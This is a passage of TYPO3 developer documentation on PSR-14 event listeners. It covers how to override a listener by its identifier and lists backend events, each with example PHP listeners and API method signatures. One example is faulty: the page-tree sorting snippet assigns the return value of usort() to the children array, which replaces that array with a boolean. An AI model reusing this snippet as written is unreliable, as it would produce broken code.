// Important: Use the 'identifier' of the original event here to be replaced!
#[AsEventListener(
    identifier: 'ext-some-extension/modify-hreflang',
    after: 'typo3-seo/hreflangGenerator',
)]
final readonly class MySeoEventListener
{
    public function __invoke(ModifyHrefLangTagsEvent $event): void
    {
        // ... custom code which overrides the
        // original EXT:some-extension listener ...
    }
}
Copied!

or via Services.yaml declaration:

EXT:my_extension/Configuration/Services.yaml
# Provide your custom event class:
MyVendor\MyExtension\EventListener\Seo\HrefLangEventListener:
  tags:
    - name: event.listener
      # Use the same identifier of the extension that you override!
      identifier: 'ext-some-extension/modify-hreflang'
Copied!

Make sure that you set the identifier property to exactly the string which the original implementation uses. If the identifier is not mentioned specifically in the original implementation, the service name (when unspecified, the fully-qualified name of the event listener class) is used. You can inspect that identifier in the System > Configuration > Event Listeners (PSR-14) backend module (requires the system extension lowlevel), see Debugging event handling. In this example, if identifier: 'ext-some-extension/modify-hreflang' is not defined, the identifier will be set to identifier: 'SomeVendor\SomeExtension\Seo\HrefLangEventListener' and you could use that identifier in your implementation.

Best practices

  • When configuring listeners, it is recommended to add one listener class per event type, and have it called via __invoke().
  • When creating a new event PHP class, it is recommended to add an Event suffix to the PHP class, and to move it into an appropriate folder like Classes/Event/ to easily discover events provided by a package. Be careful about the context that should be exposed.
  • The same applies to creating a new event listener PHP class: Add an Listener suffix to the PHP class, and move it to a folder Classes/EventListener/.
  • Emitters (TYPO3 Core or extension authors) should always use Dependency Injection to receive the event dispatcher object as a constructor argument, where possible, by adding a type declaration for \Psr\EventDispatcher\EventDispatcherInterface .
  • A unique and descriptive identifier should be used for event listeners.

Any kind of event provided by TYPO3 Core falls under TYPO3's Core API deprecation policy, except for its constructor arguments, which may vary. Events that should only be used within TYPO3 Core, are marked as @internal, just like other non-API parts of TYPO3. Events marked as @internal should be avoided whenever technically possible.

Debugging event handling

A complete list of all registered event listeners can be viewed in the the module System > Configuration > Event Listeners (PSR-14). The lowlevel system extension has to be installed for this module to be available.

List of event listeners in the Configuration module

List of event listeners in the Configuration module

To debug all events that are actually dispatched during a frontend request you can use the admin panel:

Go to Admin Panel > Debug > Events and see all dispatched events. The adminpanel system extension has to be installed for this module to be available.

List of dispatched events in the Admin Panel

List of dispatched events in the Admin Panel

Event list

The following list contains PSR-14 events in the TYPO3 Core .

Contents:

Backend

The following list contains PSR-14 events in EXT:backend.

Contents:

AfterBackendPageRenderEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\AfterBackendPageRenderEvent gets triggered after the page in the backend is rendered and includes the rendered page body. Listeners may overwrite the page string if desired.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Controller\Event\AfterBackendPageRenderEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/after-backend-page-render',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterBackendPageRenderEvent $event): void
    {
        $content = $event->getContent() . ' I was here';
        $event->setContent($content);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterBackendPageRenderEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\AfterBackendPageRenderEvent

This event triggers after a page has been rendered.

Listeners may update the page content string with a modified version if appropriate.

getContent ( )
Returns
string
setContent ( string $content)
param $content

the content

getView ( )
Returns
\TYPO3\CMS\Core\View\ViewInterface

AfterFormEnginePageInitializedEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\AfterFormEnginePageInitializedEvent is available to listen for after the form engine has been initialized (all data has been persisted).

Example

API

class AfterFormEnginePageInitializedEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\AfterFormEnginePageInitializedEvent

Event to listen to after the form engine has been initialized (= all data has been persisted)

getController ( )
Returns
\TYPO3\CMS\Backend\Controller\EditDocumentController
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

AfterHistoryRollbackFinishedEvent

The PSR-14 event \TYPO3\CMS\Backend\History\Event\AfterHistoryRollbackFinishedEvent is fired after a history record rollback finished.

Example

API

class AfterHistoryRollbackFinishedEvent
Fully qualified name
\TYPO3\CMS\Backend\History\Event\AfterHistoryRollbackFinishedEvent

This event is fired after a history record rollback finished.

getRecordHistoryRollback ( )
Returns
\TYPO3\CMS\Backend\History\RecordHistoryRollback
getRollbackFields ( )
Returns
string
getDiff ( )
Returns
array
getDataHandlerInput ( )
Returns
array
getBackendUserAuthentication ( )
Returns
?\TYPO3\CMS\Core\Authentication\BackendUserAuthentication

AfterPageColumnsSelectedForLocalizationEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\AfterPageColumnsSelectedForLocalizationEvent is available to listen for after the form engine has been initialized (and all data has been persisted). It will be dispatched after records and columns are collected in the \TYPO3\CMS\Backend\Controller\Page\LocalizationController .

The event receives:

  • The default columns and columns list built by LocalizationController
  • The list of records that were analyzed to create the columns manifest
  • The parameters received by the LocalizationController

The event allows changes to:

  • the columns
  • the columns list

This allows third-party code to read or manipulate the "columns manifest" that gets displayed in the translation modal when a user has clicked the Translate button in the page module, by implementing a listener for the event.

Example

API

class AfterPageColumnsSelectedForLocalizationEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\AfterPageColumnsSelectedForLocalizationEvent

This event triggers after the LocalizationController (AJAX) has selected page columns to be translated. Allows third parties to add to or change the columns and content elements withing those columns which will be available for localization through the "translate" modal in the page module.

getColumns ( )

Returns list of columns, indexed by column position number, value is label (either LLL: or hardcoded).

Returns
array
setColumns ( array $columns)
param $columns

the columns

getColumnList ( )

Returns a list of integer column position numbers used in the BackendLayout.

Returns
array
setColumnList ( array $columnList)
param $columnList

the columnList

getBackendLayout ( )
Returns
\TYPO3\CMS\Backend\View\BackendLayout\BackendLayout
getRecords ( )

Returns an array of records which were used when building the original column manifest and column position numbers list.

Returns
array
getParameters ( )

Returns request parameters passed to LocalizationController.

Returns
array

AfterPagePreviewUriGeneratedEvent

The \TYPO3\CMS\Backend\Routing\Event\AfterPagePreviewUriGeneratedEvent is executed in \TYPO3\CMS\Backend\Routing->buildUri(), after the preview URI has been built - or set by an event listener to BeforePagePreviewUriGeneratedEvent. It allows to overwrite the built preview URI. However, this event does not feature the possibility to modify the parameters, since this will not have any effect, as the preview URI is directly returned after event dispatching and no further action is done by the \TYPO3\CMS\Backend\Routing\PreviewUriBuilder .

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Routing\Event\AfterPagePreviewUriGeneratedEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-preview-uri',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterPagePreviewUriGeneratedEvent $event): void
    {
        // Add custom fragment to built preview URI
        $uri = $event->getPreviewUri();
        $uri = $uri->withFragment('#customFragment');
        $event->setPreviewUri($uri);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterPagePreviewUriGeneratedEvent
Fully qualified name
\TYPO3\CMS\Backend\Routing\Event\AfterPagePreviewUriGeneratedEvent

Listeners to this event will be able to modify the page preview URI, which had been generated for a page in the frontend.

setPreviewUri ( \Psr\Http\Message\UriInterface $previewUri)
param $previewUri

the previewUri

getPreviewUri ( )
Returns
\Psr\Http\Message\UriInterface
getPageId ( )
Returns
int
getLanguageId ( )
Returns
int
getRootline ( )
Returns
array
getSection ( )
Returns
string
getAdditionalQueryParameters ( )
Returns
array
getContext ( )
Returns
\TYPO3\CMS\Core\Context\Context
getOptions ( )
Returns
array

AfterPageTreeItemsPreparedEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\AfterPageTreeItemsPreparedEvent allows prepared page tree items to be modified.

It is dispatched in the \TYPO3\CMS\Backend\Controller\Page\TreeController class after the page tree items have been resolved and prepared. The event provides the current PSR-7 request object as well as the page tree items. All items contain the corresponding page record in the special _page key.

Labels

New in version 13.1

Tree node labels can be defined which offer customizable color markings for tree nodes. They also require an associated label for improved accessibility. Each node can support multiple labels, sorted by priority, with the highest priority label taking precedence over others.

A label can also be assigned to a node via user TSconfig. Please note that only the marker for the label with the highest priority is rendered. All additional labels will only be added to the title of the node.

Status information

New in version 13.1

Tree nodes can incorporate status information. These details serve to indicate the status of nodes and provide supplementary information. For instance, if a page undergoes changes within a workspace, it will display an indicator on the respective tree node. Additionally, the status is appended to the node's title. This not only improves visual clarity but also enhances information accessibility.

Each node can accommodate multiple status information, prioritized by severity and urgency. Critical messages take precedence over other status notifications.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Controller\Event\AfterPageTreeItemsPreparedEvent;
use TYPO3\CMS\Backend\Dto\Tree\Label\Label;
use TYPO3\CMS\Backend\Dto\Tree\Status\StatusInformation;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Type\ContextualFeedbackSeverity;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-page-tree-items',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterPageTreeItemsPreparedEvent $event): void
    {
        $items = $event->getItems();
        foreach ($items as &$item) {
            if (($item['_page']['pid'] ?? null) === 123) {
                // Set special icon for page with ID 123
                $item['icon'] = 'my-special-icon';

                // Set a tree node label
                $item['labels'][] = new Label(
                    label: 'Campaign B',
                    color: '#00658f',
                    priority: 1,
                );

                // Set a status information
                $item['statusInformation'][] = new StatusInformation(
                    label: 'A warning message',
                    severity: ContextualFeedbackSeverity::WARNING,
                    priority: 0,
                    icon: 'actions-dot',
                    overlayIcon: '',
                );
            }
        }
        $event->setItems($items);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterPageTreeItemsPreparedEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\AfterPageTreeItemsPreparedEvent

Listeners to this event will be able to modify the prepared page tree items for the page tree

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getItems ( )
Returns
array
setItems ( array $items)
param $items

the items

AfterRawPageRowPreparedEvent

New in version 13.3

This event was introduced to replace the hook $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/tree/pagetree/class.t3lib_tree_pagetree_dataprovider.php']['postProcessCollections'] which has already been removed with TYPO3 v9.

The PSR-14 event \TYPO3\CMS\Backend\Tree\Repository\AfterRawPageRowPreparedEvent allows to modify the populated properties of a page and children records before the page is displayed in a page tree.

This can be used, for example, to change the title of a page or apply a different sorting to its children.

Example: Sort pages by title in the page tree

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Tree\Repository\AfterRawPageRowPreparedEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

final class MyEventListener
{
    #[AsEventListener]
    public function __invoke(AfterRawPageRowPreparedEvent $event): void
    {
        $rawPage = $event->getRawPage();
        if ((int)$rawPage['uid'] === 123) {
            // Sort pages alphabetically in the page tree
            $rawPage['_children'] = usort(
                $rawPage['_children'],
                static fn(array $a, array $b) => strcmp($a['title'], $b['title']),
            );
            $rawPage['title'] = 'Some special title';
            $event->setRawPage($rawPage);
        }
    }
}
Copied!

API of AfterRawPageRowPreparedEvent

class AfterRawPageRowPreparedEvent
Fully qualified name
\TYPO3\CMS\Backend\Tree\Repository\AfterRawPageRowPreparedEvent

Listeners to this event will be able to modify a page with the special _children key, or completely change e.g. a title.

getRawPage ( )
Returns
array
setRawPage ( array $rawPage)
param $rawPage

the rawPage

getWorkspaceId ( )
Returns
int

AfterRecordSummaryForLocalizationEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\AfterRecordSummaryForLocalizationEvent is fired in the \TYPO3\CMS\Backend\Controller\Page\RecordSummaryForLocalization class and allows extensions to modify the payload of the JsonResponse.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Controller\Event\AfterRecordSummaryForLocalizationEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/after-record-summary-for-localization',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterRecordSummaryForLocalizationEvent $event): void
    {
        // Get current records
        $records = $event->getRecords();

        // ... do something with $records

        // Set new records
        $event->setRecords($records);

        // Get current columns
        $columns = $event->getColumns();

        // ... do something with $columns

        // Set new columns
        $event->setColumns($columns);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterRecordSummaryForLocalizationEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\AfterRecordSummaryForLocalizationEvent
getColumns ( )
Returns
array
setColumns ( array $columns)
param $columns

the columns

getRecords ( )
Returns
array
setRecords ( array $records)
param $records

the records

BeforeFormEnginePageInitializedEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\BeforeFormEnginePageInitializedEvent allows to listen for before the form engine has been initialized (before all data will be persisted).

Example

API

class BeforeFormEnginePageInitializedEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\BeforeFormEnginePageInitializedEvent

Event to listen to before the form engine has been initialized (= before all data will be persisted)

getController ( )
Returns
\TYPO3\CMS\Backend\Controller\EditDocumentController
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface

BeforeHistoryRollbackStartEvent

The PSR-14 event \TYPO3\CMS\Backend\History\Event\BeforeHistoryRollbackStartEvent is fired before a history record rollback starts.

Example

API

class BeforeHistoryRollbackStartEvent
Fully qualified name
\TYPO3\CMS\Backend\History\Event\BeforeHistoryRollbackStartEvent

This event is fired before a history record rollback starts

getRecordHistoryRollback ( )
Returns
\TYPO3\CMS\Backend\History\RecordHistoryRollback
getRollbackFields ( )
Returns
string
getDiff ( )
Returns
array
getBackendUserAuthentication ( )
Returns
?\TYPO3\CMS\Core\Authentication\BackendUserAuthentication

BeforeLiveSearchFormIsBuiltEvent

The PSR-14 event \BeforeLiveSearchFormIsBuiltEvent can be used to modify the form data for the backend live search.

This event allows extension developer to add, change or remove hints to the live search form or change the search demand object.

Furthermore, additional view data can be provided and used in a overridden module action template. This avoids the need for using the XCLASS technique to provide additional data.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyPackage\Backend\Search\EventListener;

use TYPO3\CMS\Backend\Search\Event\BeforeLiveSearchFormIsBuiltEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

final class BeforeLiveSearchFormIsBuiltEventListener
{
    #[AsEventListener('my-package/backend/search/modify-live-search-form-data')]
    public function __invoke(BeforeLiveSearchFormIsBuiltEvent $event): void
    {
        $event->addHints(...[
            'LLL:EXT:my-package/Resources/Private/Language/locallang.xlf:identifier',
        ]);
        $event->setAdditionalViewData(['myVariable' => 'some data']);
    }
}
Copied!

API

class BeforeLiveSearchFormIsBuiltEvent
Fully qualified name
\TYPO3\CMS\Backend\Search\Event\BeforeLiveSearchFormIsBuiltEvent

PSR-14 event to add, change or remove data for the live search form

getHints ( )
Returns
list<non-empty-string>
setHints ( array $hints)
param $hints

the hints

addHint ( string $label)
param $label

the label

addHints ( string ...$labels)
param $labels

the labels

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getSearchDemand ( )
Returns
\TYPO3\CMS\Backend\Search\LiveSearch\SearchDemand\SearchDemand
setSearchDemand ( \TYPO3\CMS\Backend\Search\LiveSearch\SearchDemand\SearchDemand $searchDemand)
param $searchDemand

the searchDemand

getAdditionalViewData ( )
Returns
array<non-empty-string,mixed>
setAdditionalViewData ( array $viewData)
param $viewData

the viewData

BeforeModuleCreationEvent

The PSR-14 event \TYPO3\CMS\Backend\Module\BeforeModuleCreationEvent allows extension authors to manipulate the module configuration, before it is used to create and register the module.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Module\BeforeModuleCreationEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-module-icon',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeModuleCreationEvent $event): void
    {
        // Change module icon of page module
        if ($event->getIdentifier() === 'web_layout') {
            $event->setConfigurationValue('iconIdentifier', 'my-custom-icon-identifier');
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class BeforeModuleCreationEvent
Fully qualified name
\TYPO3\CMS\Backend\Module\BeforeModuleCreationEvent

Listeners can adjust the module configuration before the module gets created and registered

getIdentifier ( )
Returns
string
getConfiguration ( )
Returns
array
setConfiguration ( array $configuration)
param $configuration

the configuration

hasConfigurationValue ( string $key)
param $key

the key

Returns
bool
getConfigurationValue ( string $key, ?mixed $default = NULL)
param $key

the key

param $default

the default, default: NULL

Returns
?mixed
setConfigurationValue ( string $key, ?mixed $value)
param $key

the key

param $value

the value

BeforePagePreviewUriGeneratedEvent

The \TYPO3\CMS\Backend\Routing\Event\BeforePagePreviewUriGeneratedEvent is executed in \TYPO3\CMS\Backend\Routing->buildUri(), before the preview URI is actually built. It allows to either adjust the parameters, such as the page id or the language id, or to set a custom preview URI, which will then stop the event propagation and also prevents \TYPO3\CMS\Backend\Routing\PreviewUriBuilder from building the URI based on the parameters.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Routing\Event\BeforePagePreviewUriGeneratedEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-parameters',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforePagePreviewUriGeneratedEvent $event): void
    {
        // Add custom query parameter before URI generation
        $event->setAdditionalQueryParameters(
            array_replace_recursive(
                $event->getAdditionalQueryParameters(),
                ['myParam' => 'paramValue'],
            ),
        );
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class BeforePagePreviewUriGeneratedEvent
Fully qualified name
\TYPO3\CMS\Backend\Routing\Event\BeforePagePreviewUriGeneratedEvent

Listeners to this event will be able to modify the corresponding parameters, before the page preview URI is being generated, when linking to a page in the frontend.

setPreviewUri ( \Psr\Http\Message\UriInterface $uri)
param $uri

the uri

getPreviewUri ( )
Returns
?\Psr\Http\Message\UriInterface
isPropagationStopped ( )
Returns
bool
getPageId ( )
Returns
int
setPageId ( int $pageId)
param $pageId

the pageId

getLanguageId ( )
Returns
int
setLanguageId ( int $languageId)
param $languageId

the languageId

getRootline ( )
Returns
array
setRootline ( array $rootline)
param $rootline

the rootline

getSection ( )
Returns
string
setSection ( string $section)
param $section

the section

getAdditionalQueryParameters ( )
Returns
array
setAdditionalQueryParameters ( array $additionalQueryParameters)
param $additionalQueryParameters

the additionalQueryParameters

getContext ( )
Returns
\TYPO3\CMS\Core\Context\Context
getOptions ( )
Returns
array

BeforePageTreeIsFilteredEvent

New in version 14.0

This PSR-14 event was introduced to add custom functionality and advanced evaluations to the the page tree filter.

The PSR-14 \TYPO3\CMS\Backend\Tree\Repository\BeforePageTreeIsFilteredEvent allows developers to extend the page trees filter's functionality and process the given search phrase in more advanced ways.

The page tree is one of the central components in the TYPO3 backend, particularly for editors. However, in large installations, the page tree can quickly become overwhelming and difficult to navigate. To maintain a clear overview, the page tree can be filtered using basic terms, such as the page title or ID.

Example: Add evaluation of document types to the page tree search filter

The event listener class, using the PHP attribute #[AsEventListener] for registration, adds additional conditions to the filter.

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Frontend\EventListener;

use TYPO3\CMS\Backend\Tree\Repository\BeforePageTreeIsFilteredEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Database\Connection;

final class MyEventListener
{
    #[AsEventListener]
    public function removeFetchedPageContent(BeforePageTreeIsFilteredEvent $event): void
    {
        // Adds another uid to the filter
        $event->searchUids[] = 123;

        // Adds evaluation of doktypes to the filter
        if (preg_match('/doktype:([0-9]+)/i', $event->searchPhrase, $match)) {
            $doktype = $match[1];
            $event->searchParts = $event->searchParts->with(
                $event->queryBuilder->expr()->eq(
                    'doktype',
                    $event->queryBuilder->createNamedParameter($doktype, Connection::PARAM_INT),
                ),
            );
        }
    }
}
Copied!

BeforePageTreeIsFilteredEvent API

The event provides the following member properties:

$searchParts:
The search parts to be used for filtering
$searchUids:
The uids to be used for filtering by a special search part, which is added by Core always after listener evaluation
$searchPhrase
The complete search phrase, as entered by the user
$queryBuilder:
The current QueryBuilder
class BeforePageTreeIsFilteredEvent
Fully qualified name
\TYPO3\CMS\Backend\Tree\Repository\BeforePageTreeIsFilteredEvent

Listeners to this event will be able to modify the search parts, to be used to filter the page tree

public searchParts
public searchUids
public readonly searchPhrase
public readonly queryBuilder

BeforeRecordDownloadIsExecutedEvent

New in version 13.2

This PSR-14 event replaces the $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['TYPO3\CMS\Recordlist\RecordList\DatabaseRecordList']['customizeCsvHeader'] and $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['TYPO3\CMS\Recordlist\RecordList\DatabaseRecordList']['customizeCsvRow'] , hooks, which have been deprecated with TYPO3 v13.2.

The event \TYPO3\CMS\Backend\RecordList\Event\BeforeRecordDownloadIsExecutedEvent can be used to modify the result of a download / export initiated via the Web > List module.

The event lets you change both the main part and the header of the data file. You can use it to edit data to follow GDPR rules, change or translate data, create backups or web hooks, record who accesses the data, and more.

Example: Redact columns with private content in exports

EXT:my_extension/Classes/Backend/EventListener/DataListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\RecordList\Event\BeforeRecordDownloadIsExecutedEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(identifier: 'my-package/record-list-download-data')]
final readonly class DataListener
{
    public function __invoke(BeforeRecordDownloadIsExecutedEvent $event): void
    {
        // List of redactable fields.
        $gdprFields = ['title', 'author'];

        $headerRow = $event->getHeaderRow();
        $records = $event->getRecords();

        // Iterate header to mark redacted fields...
        foreach ($headerRow as $headerRowKey => $headerRowValue) {
            if (in_array($headerRowKey, $gdprFields, true)) {
                $headerRow[$headerRowKey] .= ' (REDACTED)';
            }
        }

        // Redact actual content...
        foreach ($records as $index => $record) {
            foreach ($gdprFields as $gdprField) {
                if (isset($record[$gdprField])) {
                    $records[$index][$gdprField] = '(REDACTED)';
                }
            }
        }

        $event->setHeaderRow($headerRow);
        $event->setRecords($records);
    }
}
Copied!

API of BeforeRecordDownloadIsExecutedEvent

class BeforeRecordDownloadIsExecutedEvent
Fully qualified name
\TYPO3\CMS\Backend\RecordList\Event\BeforeRecordDownloadIsExecutedEvent

Listeners to this event are able to manipulate the download of records, usually triggered via Web > List.

getHeaderRow ( )
Returns
array
setHeaderRow ( array $headerRow)
param $headerRow

the headerRow

getRecords ( )
Returns
array
setRecords ( array $records)
param $records

the records

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getTable ( )
Returns
string
getFormat ( )
Returns
string
getFilename ( )
Returns
string
getId ( )
Returns
int
getModTSconfig ( )
Returns
array
getColumnsToRender ( )
Returns
array
isHideTranslations ( )
Returns
bool

BeforeRecordDownloadPresetsAreDisplayedEvent

New in version 13.2

The event \TYPO3\CMS\Backend\RecordList\Event\BeforeRecordDownloadPresetsAreDisplayedEvent can be used to manipulate the list of available download presets in the Web > List module.

See mod.web_list.downloadPresets on how to configure download presets.

Note that the event is dispatched for one specific database table name. If an event listener is created to attach presets to different tables, the listener method must check for the table name, as shown in the example below.

If no download presets exist for a given table, the PSR-14 event can still be used to modify and add presets to it via the setPresets() method.

The array passed from getPresets() to setPresets() can contain an array collection of TYPO3CMSBackendRecordListDownloadPreset objects with the array key using the preset label.

The event listener can also remove array indexes, or also columns of existing array entries by passing a newly constructed DownloadPreset object with the changed label and columns constructor properties.

Example: Manipulate download presets

EXT:my_extension/Classes/Backend/EventListener/DataListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\RecordList\EventListener;

use TYPO3\CMS\Backend\RecordList\DownloadPreset;
use TYPO3\CMS\Backend\RecordList\Event\BeforeRecordDownloadPresetsAreDisplayedEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(identifier: 'my-extension/modify-record-list-preset')]
final readonly class PresetListener
{
    public function __invoke(BeforeRecordDownloadPresetsAreDisplayedEvent $event): void
    {
        $presets = $event->getPresets();

        $newPresets = match ($event->getDatabaseTable()) {
            'be_users' => [new DownloadPreset('PSR-14 preset', ['uid', 'email'])],
            'pages' => [
                new DownloadPreset('PSR-14 preset', ['title']),
                new DownloadPreset('Another PSR-14 preset', ['title', 'doktype']),
            ],
            'tx_myvendor_myextension' => [new DownloadPreset('PSR-14 preset', ['uid', 'something'])],
        };

        foreach ($newPresets as $newPreset) {
            $presets[] = $newPreset;
        }

        $presets[] = new DownloadPreset('Available everywhere, simple UID list', ['uid']);
        $presets['some-identifier'] = new DownloadPreset('Overwrite preset', ['uid', 'pid'], 'some-identifier');

        $event->setPresets($presets);
    }
}
Copied!

API of BeforeRecordDownloadPresetsAreDisplayedEvent

class BeforeRecordDownloadPresetsAreDisplayedEvent
Fully qualified name
\TYPO3\CMS\Backend\RecordList\Event\BeforeRecordDownloadPresetsAreDisplayedEvent

Event to manipulate the available list of download presets.

Array $presets contains a list of DownloadPreset objects with their methods: getIdentifier(), getLabel() and getColumns().

The event is always coupled to a specific database table.

getPresets ( )
Returns
\DownloadPreset[]
setPresets ( array $presets)
param $presets

the presets

getDatabaseTable ( )
Returns
string
getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getId ( )
Returns
int

API of DownloadPreset

class DownloadPreset
Fully qualified name
\TYPO3\CMS\Backend\RecordList\DownloadPreset
getIdentifier ( )
Returns
string
getLabel ( )
Returns
string
getColumns ( )
Returns
array
create ( array $preset)
param $preset

the preset

Returns
self

BeforeSearchInDatabaseRecordProviderEvent

In some individual cases it may not be desirable to search in a specific table. Therefore, the PSR-14 event \TYPO3\CMS\Backend\Search\Event\BeforeSearchInDatabaseRecordProviderEvent is available, which allows to exclude / ignore such tables by adding them to a deny list. Additionally, the PSR-14 event can be used to restrict the search result on certain page IDs or to modify the search query altogether.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Search\Event\BeforeSearchInDatabaseRecordProviderEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/before-search-in-database-record-provider',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeSearchInDatabaseRecordProviderEvent $event): void
    {
        $event->ignoreTable('my_custom_table');
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class BeforeSearchInDatabaseRecordProviderEvent
Fully qualified name
\TYPO3\CMS\Backend\Search\Event\BeforeSearchInDatabaseRecordProviderEvent

PSR-14 event to modify the incoming input about which tables should be searched for within the live search results. This allows adding additional DB tables to be excluded / ignored, to further limit the search result on certain page IDs or to modify the search query altogether.

getSearchPageIds ( )
Returns
array
setSearchPageIds ( array $searchPageIds)
param $searchPageIds

the searchPageIds

getSearchDemand ( )
Returns
\TYPO3\CMS\Backend\Search\LiveSearch\SearchDemand\SearchDemand
setSearchDemand ( \TYPO3\CMS\Backend\Search\LiveSearch\SearchDemand\SearchDemand $searchDemand)
param $searchDemand

the searchDemand

ignoreTable ( string $table)
param $table

the table

setIgnoredTables ( array $tables)
param $tables

the tables

isTableIgnored ( string $table)
